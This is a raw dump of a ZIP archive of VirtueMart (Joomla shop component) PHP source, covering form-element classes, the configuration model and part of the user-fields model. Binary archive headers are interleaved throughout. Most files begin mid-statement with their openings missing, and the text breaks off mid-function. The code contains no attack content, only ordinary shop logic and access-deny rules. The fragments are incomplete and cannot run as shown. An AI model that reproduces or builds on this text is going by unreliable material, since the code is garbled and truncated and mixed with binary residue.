}PKs>\TʜE"com_virtuemart/elements/vmcurl.phpnuW+A\j*com_virtuemart/elements/vmproductsmenu.phpnuW+A_getProducts(), $control_name . '[' . $name . ']', '', 'value', 'text', $value, $control_name . $name); } private function _getProducts() { $productModel = VmModel::getModel('product'); $productModel->_noLimit = true; $products = $productModel->getProductListing(false, false, false, false, true,false); $productModel->_noLimit = false; $i = 0; $list = array(); foreach ($products as $product) { $list[$i]['value'] = $product->virtuemart_product_id; $list[$i]['text'] = $product->product_name. " (". $product->product_sku.")"; $i++; } return $list; } } PKs>\(com_virtuemart/elements/vmcurrencies.phpnuW+AsetQuery($query); $currencies = $db->loadObjectList(); if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); $vendor_id = VirtueMartModelVendor::getLoggedVendor(); if (empty($value)) { $currency=VirtueMartModelVendor::getVendorCurrency ($vendor_id); $value= $currency->virtuemart_currency_id; } $class = ($node->attributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); return JHTML::_('select.genericlist', $currencies, $control_name . '[' . $name . '][]', $class, 'value', 'text', $value, $control_name . $name); } }PKs>\q'J(com_virtuemart/elements/vmweightunit.phpnuW+Aattributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); return ShopFunctions::renderWeightUnitList( $control_name . '[' . $name . ']', $value); } }PKs>\##,com_virtuemart/elements/vmjpluginwarning.phpnuW+Aload('com_virtuemart',JPATH_ADMINISTRATOR); $option = JRequest::getWord('option'); if ($option == 'com_virtuemart') return null; else return JText::_('COM_VIRTUEMART_PLUGIN_WARNING'); } }PKs>\r񿠖(com_virtuemart/elements/vmorderstate.phpnuW+Aattributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); $db = JFactory::getDBO (); $query = 'SELECT `order_status_code` AS value, `order_status_name` AS text FROM `#__virtuemart_orderstates` WHERE `virtuemart_vendor_id` = 1 ORDER BY `ordering` ASC '; $db->setQuery ($query); $fields = $db->loadObjectList (); foreach ($fields as $field) { $field->text= JText::_ ($field->text); } return JHTML::_ ('select.genericlist', $fields, $control_name . '[' . $name . ']', $class, 'value', 'text', $value, $control_name . $name); } }PKs>\lѓyy&com_virtuemart/elements/vmelements.phpnuW+A\eOI I (com_virtuemart/elements/vmuploadfile.phpnuW+Aload ('com_virtuemart', JPATH_ADMINISTRATOR); // path to images directory $folder = $node->attributes ('directory'); $rel_path = str_replace ('/', DS, $folder); $path = JPATH_ROOT . DS . $rel_path; $filter = $node->attributes ('filter'); $exclude = array($node->attributes ('exclude'), '.svn', 'CVS', '.DS_Store', '__MACOSX', 'index.html'); $pattern = implode ( "|", $exclude); $stripExt = $node->attributes ('stripext'); if (!JFolder::exists ($path)) { return JText::sprintf ('COM_VIRTUEMART_FOLDER_NOT_EXIST', $node->attributes ('directory')); } $files = JFolder::files ($path, $filter, FALSE, FALSE, $exclude); $options = array(); if (!$node->attributes ('hide_none')) { $options[] = JHTML::_ ('select.option', '-1', '- ' . JText::_ ('Do not use') . ' -'); } if (!$node->attributes ('hide_default')) { $options[] = JHTML::_ ('select.option', '', '- ' . JText::_ ('Use default') . ' -'); } if (is_array ($files)) { foreach ($files as $file) { if ($exclude) { if (preg_match (chr (1) . $pattern . chr (1), $file)) { continue; } } if ($stripExt) { $file = JFile::stripExt ($file); } $options[] = JHTML::_ ('select.option', $file, $file); } } $class = ($node->attributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); $class .= ' multiple="true" size="5" data-placeholder="'.JText::_('COM_VIRTUEMART_DRDOWN_SELECT_SOME_OPTIONS').'"'; return JHTML::_ ('select.genericlist', $options, '' . $control_name . '[' . $name . '][]', $class, 'value', 'text', $value, $control_name . $name); } } }PKs>\5к#com_virtuemart/elements/vmtaxes.phpnuW+Aattributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); return ShopFunctions::renderTaxList($value, $control_name . '[' . $name . ']', $class); // $class = 'multiple="true" size="10"'; // return JHTML::_('select.genericlist', $taxrates, $control_name . '[' . $name . '][]', $class, 'value', 'text', $value, $control_name . $name); } }PKs>\Bjq&&#com_virtuemart/elements/vmrules.phpnuW+Aelement['section'] ? (string) $this->element['section'] : ''; $component = $this->element['component'] ? (string) $this->element['component'] : ''; $assetField = $this->element['asset_field'] ? (string) $this->element['asset_field'] : 'asset_id'; // Get the actions for the asset. $actions = JAccess::getActions($component, $section); // Iterate over the children and add to the actions. foreach ($this->element->children() as $el) { if ($el->getName() == 'action') { $actions[] = (object) array('name' => (string) $el['name'], 'title' => (string) $el['title'], 'description' => (string) $el['description']); } } // Get the explicit rules for this asset. $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select($db->quoteName('id')); $query->from($db->quoteName('#__assets')); $query->where($db->quoteName('name') . ' = ' . $db->quote($component)); $db->setQuery($query); $assetId = (int) $db->loadResult(); if ($error = $db->getErrorMsg()) { JError::raiseNotice(500, $error); } // Full width format. // Get the rules for just this asset (non-recursive). $assetRules = JAccess::getAssetRules($assetId); // Get the available user groups. $groups = $this->getUserGroups(); // Build the form control. $curLevel = 0; // Prepare output $html = array(); $html[] = '
      '; $html[] = '
      '; $html[] = '

      ' . JText::_('JLIB_RULES_SETTINGS_DESC') . '

      '; $html[] = '
        '; // Start a row for each user group. foreach ($groups as $group) { $difLevel = $group->level - $curLevel; if ($difLevel > 0) { $html[] = '
        • '; } elseif ($difLevel < 0) { $html[] = str_repeat('
      • ', -$difLevel); } $html[] = '
      • '; $html[] = '
        '; $html[] = '

        '; $html[] = str_repeat('|– ', $curLevel = $group->level) . $group->text; $html[] = '

        '; $html[] = '
        '; $html[] = '
        '; $html[] = ''; $html[] = ''; $html[] = ''; $html[] = ''; $html[] = ''; // The calculated setting is not shown for the root group of global configuration. $canCalculateSettings = ($group->parent_id || !empty($component)); if ($canCalculateSettings) { $html[] = ''; } $html[] = ''; $html[] = ''; $html[] = ''; foreach ($actions as $action) { $html[] = ''; $html[] = ''; $html[] = ''; // Build the Calculated Settings column. // The inherited settings column is not displayed for the root group in global configuration. if ($canCalculateSettings) { $html[] = ''; } $html[] = ''; } $html[] = ''; $html[] = '
        '; $html[] = '' . JText::_('JLIB_RULES_ACTION') . ''; $html[] = ''; $html[] = '' . JText::_('JLIB_RULES_SELECT_SETTING') . ''; $html[] = ''; $html[] = '' . JText::_('JLIB_RULES_CALCULATED_SETTING') . ''; $html[] = '
        '; $html[] = ''; $html[] = ''; //$html[] = $this->formControl.'-'.$this->fieldname; $this->name = $this->formControl.'[rules]'; $html[] = '  '; // If this asset's rule is allowed, but the inherited rule is deny, we have a conflict. if (($assetRule === true) && ($inheritedRule === false)) { $html[] = JText::_('JLIB_RULES_CONFLICT'); } $html[] = ''; // This is where we show the current effective settings considering currrent group, path and cascade. // Check whether this is a component or global. Change the text slightly. if (JAccess::checkGroup($group->value, 'core.admin', $assetId) !== true) { if ($inheritedRule === null) { $html[] = '' . JText::_('JLIB_RULES_NOT_ALLOWED') . ''; } elseif ($inheritedRule === true) { $html[] = '' . JText::_('JLIB_RULES_ALLOWED') . ''; } elseif ($inheritedRule === false) { if ($assetRule === false) { $html[] = '' . JText::_('JLIB_RULES_NOT_ALLOWED') . ''; } else { $html[] = '' . JText::_('JLIB_RULES_NOT_ALLOWED_LOCKED') . ''; } } } elseif (!empty($component)) { $html[] = '' . JText::_('JLIB_RULES_ALLOWED_ADMIN') . ''; } else { // Special handling for groups that have global admin because they can't be denied. // The admin rights can be changed. if ($action->name === 'core.admin') { $html[] = '' . JText::_('JLIB_RULES_ALLOWED') . ''; } elseif ($inheritedRule === false) { // Other actions cannot be changed. $html[] = '' . JText::_('JLIB_RULES_NOT_ALLOWED_ADMIN_CONFLICT') . ''; } else { $html[] = '' . JText::_('JLIB_RULES_ALLOWED_ADMIN') . ''; } } $html[] = '
        '; $html[] = '
        '; $html[] = '
      • '; } $html[] = str_repeat('
      ', $curLevel); $html[] = '
      '; if ($section == 'component' || $section == null) { $html[] = JText::_('JLIB_RULES_SETTING_NOTES'); } else { $html[] = JText::_('JLIB_RULES_SETTING_NOTES_ITEM'); } $html[] = '
      '; $js = "window.addEvent('domready', function(){ new Fx.Accordion($$('div#permissions-sliders-".$section." div#permissions-sliders.pane-sliders .panel h3.pane-toggler')," . "$$('div#permissions-sliders-".$section." div#permissions-sliders.pane-sliders .panel div.pane-slider'), {onActive: function(toggler, i) {toggler.addClass('pane-toggler-down');" . "toggler.removeClass('pane-toggler');i.addClass('pane-down');i.removeClass('pane-hide');Cookie.write('jpanesliders_permissions-sliders-".$section . $component . "',$$('div#permissions-sliders-".$section." div#permissions-sliders.pane-sliders .panel h3').indexOf(toggler));}," . "onBackground: function(toggler, i) {toggler.addClass('pane-toggler');toggler.removeClass('pane-toggler-down');i.addClass('pane-hide');" . "i.removeClass('pane-down');}, duration: 300, display: " . JRequest::getInt('jpanesliders_permissions-sliders' . $component, 0, 'cookie') . ", show: " . JRequest::getInt('jpanesliders_permissions-sliders' . $component, 0, 'cookie') . ", alwaysHide:true, opacity: false}); });"; JFactory::getDocument()->addScriptDeclaration($js); return implode("\n", $html); } } PKs>\1 q "com_virtuemart/elements/vmfile.phpnuW+Aload ('com_virtuemart', JPATH_ADMINISTRATOR); // path to images directory $folder = $node->attributes ('directory'); $rel_path = str_replace ('/', DS, $folder); $path = JPATH_ROOT . DS . $rel_path; $filter = $node->attributes ('filter'); $exclude = array($node->attributes ('exclude'), '.svn', 'CVS', '.DS_Store', '__MACOSX', 'index.html'); $pattern = implode ( "|", $exclude); $stripExt = $node->attributes ('stripext'); if (!JFolder::exists ($path)) { return JText::sprintf ('COM_VIRTUEMART_FOLDER_NOT_EXIST', $node->attributes ('directory')); } $files = JFolder::files ($path, $filter, FALSE, FALSE, $exclude); $options = array(); if (!$node->attributes ('hide_none')) { $options[] = JHTML::_ ('select.option', '-1', '- ' . JText::_ ('Do not use') . ' -'); } if (!$node->attributes ('hide_default')) { $options[] = JHTML::_ ('select.option', '', '- ' . JText::_ ('Use default') . ' -'); } if (is_array ($files)) { foreach ($files as $file) { if ($exclude) { if (preg_match (chr (1) . $pattern . chr (1), $file)) { continue; } } if ($stripExt) { $file = JFile::stripExt ($file); } $options[] = JHTML::_ ('select.option', $file, $file); } } $class = ($node->attributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); $class .= ' size="5" data-placeholder="'.JText::_('COM_VIRTUEMART_DRDOWN_SELECT_SOME_OPTIONS').'"'; return JHTML::_ ('select.genericlist', $options, '' . $control_name . '[' . $name . '][]', $class, 'value', 'text', $value, $control_name . $name); } }PKs>\/+###com_virtuemart/elements/vmtitle.phpnuW+Aattributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); if (empty($class)) { $class.="style=\"margin: 10px 0 5px 0; font-weight: bold; padding: 5px; background-color: #cacaca; float:none; clear:both;\""; } $description = ($node->attributes('description') ? JText::_($node->attributes('description')) : ''); $html = ''; if ($value) { $html .= '
      '; $html .= JText::_($value); $html .= '
      '; if ($description){ $html .= $description.'
      '; } } else { $html .= '
      '.$description.'
      '; } return $html; } }PKs>\vwOO(com_virtuemart/elements/vmvendormenu.phpnuW+AgetVendors(true, true, false); return JHTML::_('select.genericlist', $vendors, $control_name . '[' . $name . ']', '', $name, 'vendor_name', $value, $control_name . $name); } } PKs>\u5 #com_virtuemart/elements/vmfiles.phpnuW+Aload ('com_virtuemart', JPATH_ADMINISTRATOR); // path to images directory $folder = $node->attributes ('directory'); $rel_path = str_replace ('/', DS, $folder); $path = JPATH_ROOT . DS . $rel_path; $filter = $node->attributes ('filter'); $exclude = array($node->attributes ('exclude'), '.svn', 'CVS', '.DS_Store', '__MACOSX', 'index.html'); $pattern = implode ( "|", $exclude); $stripExt = $node->attributes ('stripext'); if (!JFolder::exists ($path)) { return JText::sprintf ('COM_VIRTUEMART_FOLDER_NOT_EXIST', $node->attributes ('directory')); } $files = JFolder::files ($path, $filter, FALSE, FALSE, $exclude); $options = array(); if (!$node->attributes ('hide_none')) { $options[] = JHTML::_ ('select.option', '-1', '- ' . JText::_ ('Do not use') . ' -'); } if (!$node->attributes ('hide_default')) { $options[] = JHTML::_ ('select.option', '', '- ' . JText::_ ('Use default') . ' -'); } if (is_array ($files)) { foreach ($files as $file) { if ($exclude) { if (preg_match (chr (1) . $pattern . chr (1), $file)) { continue; } } if ($stripExt) { $file = JFile::stripExt ($file); } $options[] = JHTML::_ ('select.option', $file, $file); } } $class = ($node->attributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); $class .= ' multiple="true" size="5" data-placeholder="'.JText::_('COM_VIRTUEMART_DRDOWN_SELECT_SOME_OPTIONS').'"'; return JHTML::_ ('select.genericlist', $options, '' . $control_name . '[' . $name . '][]', $class, 'value', 'text', $value, $control_name . $name); } }PKs>\Y7 .com_virtuemart/elements/vmacceptedcurrency.phpnuW+AsetQuery($q); $vendor_currency = $db->loadAssoc(); if (!$vendor_currency['vendor_accepted_currencies']) { $vendor_currency['vendor_accepted_currencies'] = $vendor_currency['vendor_currency']; } $q = 'SELECT `virtuemart_currency_id` AS value ,CONCAT_WS(" ",`currency_name`,`currency_symbol`) as text FROM `#__virtuemart_currencies` WHERE `virtuemart_currency_id` IN (' . $vendor_currency['vendor_accepted_currencies'] . ') and (`virtuemart_vendor_id` = "' . $vendorId . '" OR `shared`="1") AND published = "1" ORDER BY `ordering`,`currency_name`'; $db->setQuery($q); $currencies = $db->loadObjectList(); $options = array(); $options[] = array( 'value' => 0 ,'text' =>JText::_('COM_VIRTUEMART_DEFAULT_VENDOR_CURRENCY')); if (!is_array($currencies)) { $currencies=(array)$currencies; } foreach ($currencies as $currency){ $options[] = array( 'value' => $currency->value ,'text' =>$currency->text); } $class = ($node->attributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); return JHTML::_('select.genericlist', $options, $control_name . '[' . $name . ']', $class, 'value', 'text', $value, $control_name . $name); } }PKs>\"com_virtuemart/elements/index.htmlnuW+APKs>\8*rr'com_virtuemart/elements/vmcountries.phpnuW+AsetQuery($query); $fields = $db->loadObjectList(); $class = ($node->attributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); $class = 'multiple="true" size="10" '; return JHTML::_('select.genericlist', $fields, $control_name . '[' . $name . '][]', $class, 'value', 'text', $value, $control_name . $name); } }PKs>\K(,com_virtuemart/elements/vmcategoriesmenu.phpnuW+A'; $html .= ''; $html .= $categorylist; $html .=""; return $html; } } PKs>\)!com_virtuemart/elements/.htaccessnuW+A Order allow,deny Deny from all PKs>\*G D D com_virtuemart/models/config.phpnuW+AgetTemplate();vmdebug('template',$tplpath); if (JVM_VERSION === 2) { $q = 'SELECT `template` FROM `#__template_styles` WHERE `client_id` ="0" AND `home`="1" '; } else { $q = 'SELECT `template` FROM `#__templates_menu` WHERE `client_id` ="0" '; } $db = JFactory::getDBO(); $db->setQuery($q); $tplnames = $db->loadResult(); if($tplnames){ if(is_dir(JPATH_ROOT.DS.'templates'.DS.$tplnames.DS.'html'.DS.'com_virtuemart'.DS.$view)){ $dirs[] = JPATH_ROOT.DS.'templates'.DS.$tplnames.DS.'html'.DS.'com_virtuemart'.DS.$view; } } $result = array(); $emptyOption = JHTML::_('select.option', '0', JText::_('COM_VIRTUEMART_ADMIN_CFG_NO_OVERRIDE')); $result[] = $emptyOption; $alreadyAddedFile = array(); foreach($dirs as $dir){ if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if(!empty($file) and strpos($file,'.')!==0 and strpos($file,'_')==0 and $file != 'index.html' and !is_Dir($file)){ //Handling directly for extension is much cleaner $path_info = pathinfo($file); if(empty($path_info['extension'])){ vmError('Attention file '.$file.' has no extension in view '.$view.' and directory '.$dir); $path_info['extension'] = ''; } if ($path_info['extension'] == 'php' && !in_array($file,$alreadyAddedFile)) { $alreadyAddedFile[] = $file; //There is nothing to translate here // $result[] = JHTML::_('select.option', $file, $path_info['filename']); $result[] = JHTML::_('select.option', $path_info['filename'], $path_info['filename']); } } } } } return $result; } /** * Retrieve a list of available fonts to be used with PDF Invoice generation & PDF Product view on FE * * @author Nikos Zagas * @return object List of available fonts */ function getTCPDFFontsList() { $dir = JPATH_ROOT.DS.'libraries'.DS.'tcpdf'.DS.'fonts'; $result = array(); if(function_exists('glob')){ $specfiles = glob($dir.DS."*_specs.xml"); } else { $specfiles = array(); $manual = array('courier_specs.xml','freemono_specs.xml','helvetica_specs.xml'); foreach($manual as $file){ if(file_exists($dir.DS.$file)){ $specfiles[] = $dir.DS.$file; } } } foreach ($specfiles as $file) { $fontxml = @simpleXML_load_file($file); if ($fontxml) { if (file_exists($dir . DS . $fontxml->filename . '.php')) { $result[] = JHTML::_('select.option', $fontxml->filename, JText::_($fontxml->fontname.' ('.$fontxml->fonttype.')')); } else { vmError ('A font master file is missing: ' . $dir . DS . $fontxml->filename . '.php'); } } else { vmError ('Wrong structure in font XML file: '. $dir . DS . $file); } } return $result; } /** * Retrieve a list of possible images to be used for the 'no image' image. * * @author RickG * @author Max Milbers * @return object List of image objects */ function getNoImageList() { //TODO set config value here $dirs[] = JPATH_ROOT.DS.'components'.DS.'com_virtuemart'.DS.'assets'.DS.'images'.DS.'vmgeneral'; $tplpath = VmConfig::get('vmtemplate',0); if(!empty($tplpath) and is_numeric($tplpath)){ $db = JFactory::getDbo(); $query = 'SELECT `template`,`params` FROM `#__template_styles` WHERE `id`="'.$tplpath.'" '; $db->setQuery($query); $res = $db->loadAssoc(); if($res){ $registry = new JRegistry; $registry->loadString($res['params']); $tplpath = $res['template']; } } if($tplpath){ if(is_dir(JPATH_ROOT.DS.'templates'.DS.$tplpath.DS.'images'.DS.'vmgeneral')){ $dirs[] = JPATH_ROOT.DS.'templates'.DS.$tplpath.DS.'images'.DS.'vmgeneral'; } } $result = ''; foreach($dirs as $dir){ if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if ($file != "." && $file != ".." && $file != '.svn' && $file != 'index.html') { if (filetype($dir.DS.$file) != 'dir') { $result[] = JHTML::_('select.option', $file, JText::_(str_replace('.php', '', $file))); } } } } } return $result; } /** * Retrieve a list of currency converter modules from the plugins directory. * * @author RickG * @return object List of theme objects */ function getCurrencyConverterList() { $dir = JPATH_VM_ADMINISTRATOR.DS.'plugins'.DS.'currency_converter'; $result = ''; if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if ($file != "." && $file != ".." && $file != '.svn') { $info = pathinfo($file); if ((filetype($dir.DS.$file) == 'file') && ($info['extension'] == 'php')) { $result[] = JHTML::_('select.option', $file, JText::_($file)); } } } } return $result; } /** * Retrieve a list of modules. * * @author RickG * @return object List of module objects */ function getModuleList() { $db = JFactory::getDBO(); $query = 'SELECT `module_id`, `module_name` FROM `#__virtuemart_modules` '; $query .= 'ORDER BY `module_id`'; $db->setQuery($query); return $db->loadObjectList(); } /** * Retrieve a list of Joomla content items. * * @author RickG * @return object List of content objects */ function getContentLinks() { $db = JFactory::getDBO(); $query = 'SELECT `id`, CONCAT(`title`, " (", `title_alias`, ")") AS text FROM `#__content` '; $query .= 'ORDER BY `id`'; $db->setQuery($query); return $db->loadObjectList(); } /* * Get the joomla list of languages */ function getActiveLanguages($active_languages) { $activeLangs = array() ; $language =JFactory::getLanguage(); $jLangs = $language->getKnownLanguages(JPATH_BASE); foreach ($jLangs as $jLang) { $jlangTag = strtolower(strtr($jLang['tag'],'-','_')); $activeLangs[] = JHTML::_('select.option', $jLang['tag'] , $jLang['name']) ; } return JHTML::_('select.genericlist', $activeLangs, 'active_languages[]', 'size=10 multiple="multiple" data-placeholder="'.JText::_('COM_VIRTUEMART_DRDOWN_NOTMULTILINGUAL').'"', 'value', 'text', $active_languages );// $activeLangs; } /** * Retrieve a list of preselected and existing search or order By Fields * $type = 'browse_search_fields' or 'browse_orderby_fields' * @author Kohl Patrick * @return array of order list */ function getProductFilterFields( $type ) { $searchChecked = VmConfig::get($type) ; if (!is_array($searchChecked)) { $searchChecked = (array)$searchChecked; } if($type!='browse_cat_orderby_field'){ $searchFieldsArray = ShopFunctions::getValidProductFilterArray (); if($type=='browse_search_fields'){ if($key = array_search('pc.ordering',$searchFieldsArray)){ unset($searchFieldsArray[$key]); } } } else { $searchFieldsArray = array('category_name','category_description','cx.ordering','c.published'); } $searchFields= new stdClass(); $searchFields->checkbox ='
        '; foreach ($searchFieldsArray as $key => $field ) { if (in_array($field, $searchChecked) ) { $checked = 'checked="checked"'; } else { $checked = ''; } $fieldWithoutPrefix = $field; $dotps = strrpos($fieldWithoutPrefix, '.'); if($dotps!==false){ $prefix = substr($field, 0,$dotps+1); $fieldWithoutPrefix = substr($field, $dotps+1); } $text = JText::_('COM_VIRTUEMART_'.strtoupper($fieldWithoutPrefix)) ; if ($type == 'browse_orderby_fields' or $type == 'browse_cat_orderby_field'){ $searchFields->select[] = JHTML::_('select.option', $field, $text) ; } $searchFields->checkbox .= '
      • '; } $searchFields->checkbox .='
      '; return $searchFields; } /** * Save the configuration record * * @author Max Milbers * @return boolean True is successful, false otherwise */ function store(&$data,$replace = FALSE) { vRequest::vmCheckToken(); //$data['active_languages'] = strtolower(strtr($data['active_languages'],'-','_')); //ATM we want to ensure that only one config is used $config = VmConfig::loadConfig(TRUE); if(!self::checkConfigTableExists()){ VmConfig::installVMconfig(false); } $browse_cat_orderby_field = $config->get('browse_cat_orderby_field'); $cat_brws_orderby_dir = $config->get('cat_brws_orderby_dir'); $config->setParams($data,$replace); $confData = array(); $query = 'SELECT * FROM `#__virtuemart_configs`'; $this->_db->setQuery($query); if($this->_db->loadResult()){ $confData['virtuemart_config_id'] = 1; } else { $confData['virtuemart_config_id'] = 0; } $urls = array('assets_general_path','media_category_path','media_product_path','media_manufacturer_path','media_vendor_path'); foreach($urls as $urlkey){ $url = trim($config->get($urlkey)); $length = strlen($url); if(strrpos($url,'/')!=($length-1)){ $config->set($urlkey,$url.'/'); vmInfo('Corrected media url '.$urlkey.' added missing /'); } } //If empty it is not sent by the form, other forms do it by using a table to store, //the config is like a big xparams and so we check some values for this form manually /*$toSetEmpty = array('active_languages','inv_os','email_os_v','email_os_s'); foreach($toSetEmpty as $item){ if(!isset($data[$item])) { $config->set($item,array()); } }*/ $checkCSVInput = array('pagseq','pagseq_1','pagseq_2','pagseq_3','pagseq_4','pagseq_5'); foreach($checkCSVInput as $csValueKey){ $csValue = $config->get($csValueKey); if(!empty($csValue)){ $sequenceArray = explode(',', $csValue); foreach($sequenceArray as &$csV){ $csV = (int)trim($csV); } $csValue = implode(',',$sequenceArray); $config->set($csValueKey,$csValue); } } $safePath = trim($config->get('forSale_path')); if(!empty($safePath)){ if(DS!='/' and strpos($safePath,'/')!==false){ $safePath=str_replace('/',DS,$safePath); vmInfo('Corrected safe path, replaced / by '.DS); vmdebug('$safePath',$safePath); } $length = strlen($safePath); if(strrpos($safePath,DS)!=($length-1)){ $safePath = $safePath.DS; vmInfo('Corrected safe path, added missing '.DS); } $config->set('forSale_path',$safePath); } else { $safePath = JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'.DS.'vmfiles'; $exists = JFolder::exists($safePath); if(!$exists){ $created = JFolder::create($safePath); $safePath = $safePath.DS; if($created){ vmInfo('COM_VIRTUEMART_SAFE_PATH_DEFAULT_CREATED',$safePath); /* create htaccess file */ $fileData = "order deny, allow\ndeny from all\nallow from none"; JLoader::import('joomla.filesystem.file'); $fileName = $safePath.DS.'.htaccess'; $result = JFile::write($fileName, $fileData); if (!$result) { VmWarn('COM_VIRTUEMART_HTACCESS_DEFAULT_NOT_CREATED',$safePath,$fileData); } $config->set('forSale_path',$safePath); } else { VmWarn('COM_VIRTUEMART_WARN_SAFE_PATH_NO_INVOICE',JText::_('COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH')); } } } if(!class_exists('shopfunctions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'shopfunctions.php'); $safePath = shopFunctions::checkSafePath($safePath); if(!empty($safePath)){ $exists = JFolder::exists($safePath.'invoices'); if(!$exists){ $created = JFolder::create($safePath.'invoices'); if($created){ vmInfo('COM_VIRTUEMART_SAFE_PATH_INVOICE_CREATED'); } else { VmWarn('COM_VIRTUEMART_WARN_SAFE_PATH_NO_INVOICE',JText::_('COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH')); } } } if(!$config->get('active_languages',false)){ $confData['active_languages'] = array(VmConfig::$langTag); } $confData['config'] = $config->toString(); $confTable = $this->getTable('configs'); if (!$confTable->bindChecknStore($confData)) { vmError($confTable->getError()); } // Load the newly saved values into the session. $config = VmConfig::loadConfig(true); if(!class_exists('GenericTableUpdater')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'tableupdater.php'); $updater = new GenericTableUpdater(); $result = $updater->createLanguageTables(); /* This conditions is not enough, if the language changes we need to recall the cache. $newbrowse_cat_orderby_field = $config->get('browse_cat_orderby_field'); $newcat_brws_orderby_dir = $config->get('cat_brws_orderby_dir'); if($browse_cat_orderby_field!=$newbrowse_cat_orderby_field or $newcat_brws_orderby_dir!=$cat_brws_orderby_dir){ $cache = JFactory::getCache('com_virtuemart_cats','callback'); $cache->clean(); }*/ $cache = JFactory::getCache('com_virtuemart_cats','callback'); $cache->clean(); $cache = JFactory::getCache('com_virtuemart_rss','callback'); $cache->clean(); $cache = JFactory::getCache('convertECB','callback'); $cache->clean(); $cache = JFactory::getCache('_virtuemart'); $cache->clean(); $cache = JFactory::getCache('com_plugins'); $cache->clean(); $cache = JFactory::getCache('_system'); $cache->clean(); $cache = JFactory::getCache('page'); $cache->clean(); return true; } public static function checkConfigTableExists(){ $db = JFactory::getDBO(); $query = 'SHOW TABLES LIKE "'.$db->getPrefix().'virtuemart_configs"'; $db->setQuery($query); $configTable = $db->loadResult(); $err = $db->getErrorMsg(); if(!empty($err) or !$configTable){ return false; } else { return true; } } static public function checkVirtuemartInstalled(){ $db = JFactory::getDBO(); $query = 'SHOW TABLES LIKE "'.$db->getPrefix().'virtuemart%"'; $db->setQuery($query); $vmTables = $db->loadColumn(); $err = $db->getErrorMsg(); if(!empty($err) or !$vmTables or count($vmTables)<2){ return false; } else { return true; } } /** * Dangerous tools get disabled after execution an operation which needed that rights. * This is the function actually doing it. * * @author Max Milbers */ function setDangerousToolsOff(){ if(self::checkConfigTableExists()){ $dangerousTools = VmConfig::readConfigFile(true); if( $dangerousTools){ $uri = JFactory::getURI(); $link = $uri->root() . 'administrator/index.php?option=com_virtuemart&view=config'; $lang = JText::sprintf('COM_VIRTUEMART_SYSTEM_DANGEROUS_TOOL_STILL_ENABLED',JText::_('COM_VIRTUEMART_ADMIN_CFG_DANGEROUS_TOOLS'),$link); VmInfo($lang); } else { $data['dangeroustools'] = 0; $data['virtuemart_config_id'] = 1; $this->store($data); } } } public function remove() { $table = $this->getTable('configs'); $id = 1; if (!$table->delete($id)) { vmError(get_class( $this ).'::remove '.$id.' '.$table->getError(),'Cannot delete config'); return false; } return true; } /** * This function deletes a config stored in the database * * @author Max Milbers */ function deleteConfig(){ if($this->remove()){ return VmConfig::loadConfig(true,true); } else { return false; } } } //pure php no closing tagPKs>\2$com_virtuemart/models/userfields.phpnuW+Afieldname with formfields that are saved as parameters */ var $reqParam; // stAn, this variable is a cached result of getUserFields // where array key is $cache_hash = md5($sec.serialize($_switches).serialize($_skip).$this->_selectedOrdering.$this->_selectedOrderingDir); static $_cache_ordered; // this variable is a cached result of named fields of last call of getUserFields where the key is $_sec of the function ('registration', 'account', 'shipping'.. etc...) // example $_cached_named['registration']['email'] static $_cache_named; // *** code for htmlpurifier *** // var $htmlpurifier = ''; /** * constructs a VmModel * setMainTable defines the maintable of the model * @author Max Milbers */ function __construct() { parent::__construct('virtuemart_userfield_id'); $this->setMainTable('userfields'); $this->setToggleName('required'); $this->setToggleName('registration'); $this->setToggleName('shipment'); $this->setToggleName('account'); // Instantiate the Helper class $this->_params = new ParamHelper(); self::$_cache_ordered = null; self::$_cache_named = array(); // Form fields that must be translated to parameters $this->reqParam = array ( 'age_verification' => 'minimum_age' ,'euvatid' => 'virtuemart_shoppergroup_id' ,'webaddress' => 'webaddresstype' ); $this->_selectedOrdering = 'ordering'; $this->_selectedOrderingDir = 'ASC'; } /** * Prepare a user field for database update */ public function prepareFieldDataSave($field, &$data) { // $post = JRequest::get('post'); $fieldType = $field->type; $fieldName = $field->name; $value = $data[$field->name]; $params = $field->params; if(!class_exists('vmFilter'))require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vmfilter.php'); switch(strtolower($fieldType)) { case 'webaddress': if (isset($post[$fieldName."Text"]) && ($post[$fieldName."Text"])) { $oValuesArr = array(); $oValuesArr[0] = str_replace(array('mailto:','http://','https://'),'', $value); $oValuesArr[1] = str_replace(array('mailto:','http://','https://'),'', $post[$fieldName."Text"]); $value = implode("|*|",$oValuesArr); } else { if ($value = vmFilter::urlcheck($value) ) $value = str_replace(array('mailto:','http://','https://'),'', $value); } break; case 'email': case 'emailaddress': //vmdebug('emailaddress before filter',$value); $value = vmFilter::mail( $value ); //$value = str_replace('mailto:','', $value); //$value = str_replace(array('\'','"',',','%','*','/','\\','?','^','`','{','}','|','~'),array(''),$value); //vmdebug('emailaddress after filter',$value); break; // case 'phone': // $value = vmFilter::phone( $value ); // break; case 'multiselect': case 'multicheckbox': case 'select': if (is_array($value)) $value = implode("|*|",$value); break; case 'age_verification': $value = JRequest::getInt('birthday_selector_year') .'-'.JRequest::getInt('birthday_selector_month') .'-'.JRequest::getInt('birthday_selector_day'); break; case 'textarea': $value = JRequest::getVar($fieldName, '', 'post', 'string' ,JREQUEST_ALLOWRAW); $value = vmFilter::hl( $value,'text' ); break; case 'editorta': $value = JRequest::getVar($fieldName, '', 'post', 'string' 